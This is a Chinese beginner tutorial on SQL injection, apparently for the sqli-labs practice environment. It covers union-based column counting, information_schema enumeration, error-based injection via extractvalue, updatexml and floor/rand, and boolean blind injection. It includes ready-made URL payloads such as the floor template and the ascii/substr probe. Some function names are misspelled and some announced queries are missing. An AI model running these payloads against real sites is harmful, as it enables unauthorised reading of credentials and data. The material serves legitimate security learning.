sql入门
信息查询
数据库名的查询
select database(); |
数据库版本
防火墙的绕过会涉及。
select version(); |
判断字符型还是数字型
注释符:“#” “–+” “%23”
方法1:使用 and 1=1
和 and 1=2
来判断
比如对于lab1,我们提交?id=1 and 1=1
或者?id=1 and 1=2
都能正常显示界面,则不可能是数字型注入,即为字符型注入。
对于lab1,我们提交?id=1 and 1=2
都不能正常显示界面,则为数字型注入。
如果是数字型注入,那我们就不需要测试闭合方式,否则还需要判断闭合方式:' " ') ")
。
方法2:使用 id=2-1
数字型是可以进行运算的,那么就相当于是id=1
。
注意:最好不用 + ,在URL编码中通常会使用 + 或 %20 来代替空格,解码会把 + 编码为空格。
所以有时我们也可以用 + 绕过空格限制。
对列数的判断
union
select * from users where id=1 union select 1,2,3; |
增加union
后面的数字,当报错说明超过最大列数。
判断数据位置
select * from users where id=-1 union select 1,2,3; |
这里id后面我们要写不存在的id号,这样就能将1,2,3显示在对应的位置;
当我们写正常存在的id,那么就不会显示1,2,3;
这样就知道2,3处的数据会显示,以及位置。
接下来就是在2或者3处构造,就能在对应位置显示数据:
group by
select * from users where id=1 group by 1; |
group by
:按照第几列进行分组。
替换group by
后面的数字,当报错说明超过最大列数。
order by
select * from users where id=1 order by 1; |
order by
:按照第几列进行排序(默认是升序,desc表示降序)。
替换order by
后面的数字,当报错说明超过最大列数。
回显限制,多行->1行
有些地方回显只有一行,我们可以利用这一行来显示多行数据,通过将多行数据整合到一行。
group_concat
select group_cancat(id, username, passwd) from users; |
limit
select name from users limit 0,1; |
limit 0,1
:0:第0行; 1:每次显示一行。
回显字符数限制
substring()
如果回显限制了字符数,我们可以利用substring
从后面开始显示。
substring(123456, 4, 3) |
参数一:需要显示的字符串
参数二:从第几个字符开始显示
参数三:一共显示几个字符
获取表名和列名
提前了解
数据库:Information_schema
包含所有mysql数据库的简要信息,其中包含两个数据表:
- tables
:存有所有表名
- columns
:存有所有列名
where
后面可以接上这些变量限制:
- table_schema 是数据库的名称
- table_name 是具体的表名。
- table_type 表的类型。
可以看到显示了email
表名,但是这里肯定还有其他表,显示不全,还需要其他手法。table_schema
:哪个数据库。
就是前面提到的group_concat
。
查找这个数据库下的所有列名:
查找到用户名和密码:
报错注入
原理:构造语句,让错误信息中夹杂可以显示数据库内如的查询语句。
extractValue()报错注入
我们就利用报错会返回路径来构造注入语句。
select extratvalue(doc, concat(0x7e, (select database()))) from users; |
extractvalue()
:第一个参数可以随便写。concat()
函数是将第一个参数和第二个参数拼接。
0x7e是 ~
的ascii码。
之后我们只用改变concat()
的第二个参数,换为其他查询指令。
查询users表下面的所有列名:
updatexml报错注入
函数解析:
原理
同extractvalue()
,输入错误的第二个参数,即更改路径符号:
正常句式:
select updatexml(doc, '/book', '1') from xml; |
输入错误路径会报错并返回路径,所以我们利用这个回显来返回我们想要的数据。
floor报错注入
涉及的函数解析
rand()
:随机返回0-1之间的小数floor()
:小数向下取整。向上取整ceiling()
concat_ws()
:将括号内的数据用第一个字段连接起来group_by()
:分组as
:起别名count()
:汇总统计数量limit()
:用于显示指定行数
例子:
技巧一
select rand() from users;
users表中有多少行,就会调用rand()
函数多少次;
技巧二
select concat_ws('-', (select database()), 3);
:security-3
使用例子
模版:我们只用改select version()
为其他指令就行;
?id=1' union select 1,count(*),concat_ws('-', (select version()), floor(rand(0)*2)) as x from information_schema.tables group by x --+ |
rand()
中数字有时需要改变来触发报错。
布尔盲注
关键函数
ascii()
:返回字母的ascii值,例如select ascii('a');
例子
?id=1' and ascii(substr(select database(),1,1))>=100 --+ |
substr()
:按字符来判断,逐个爆破。